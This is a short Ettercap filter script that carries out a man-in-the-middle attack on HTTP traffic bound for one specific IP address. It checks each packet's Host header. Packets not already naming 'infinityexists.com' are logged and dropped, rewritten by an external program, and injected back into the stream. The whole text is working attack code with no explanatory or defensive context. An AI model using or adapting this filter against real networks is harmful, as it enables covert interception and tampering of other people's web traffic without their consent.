if (ip.proto == TCP && tcp.dst == 80 && ip.dst == '208.113.198.51') { if (search(DATA.data, "Host:")) { if (search(DATA.data, "Host: infinityexists.com")) { msg("Host Header Not Changed\n"); } else { log(DATA.data, "/tmp/Packet"); drop(); exec("/root/Desktop/change /tmp/Packet /tmp/Out_Packet infinityexists.com"); inject("/tmp/Out_Packet"); msg("Host Header Changed\n"); } } }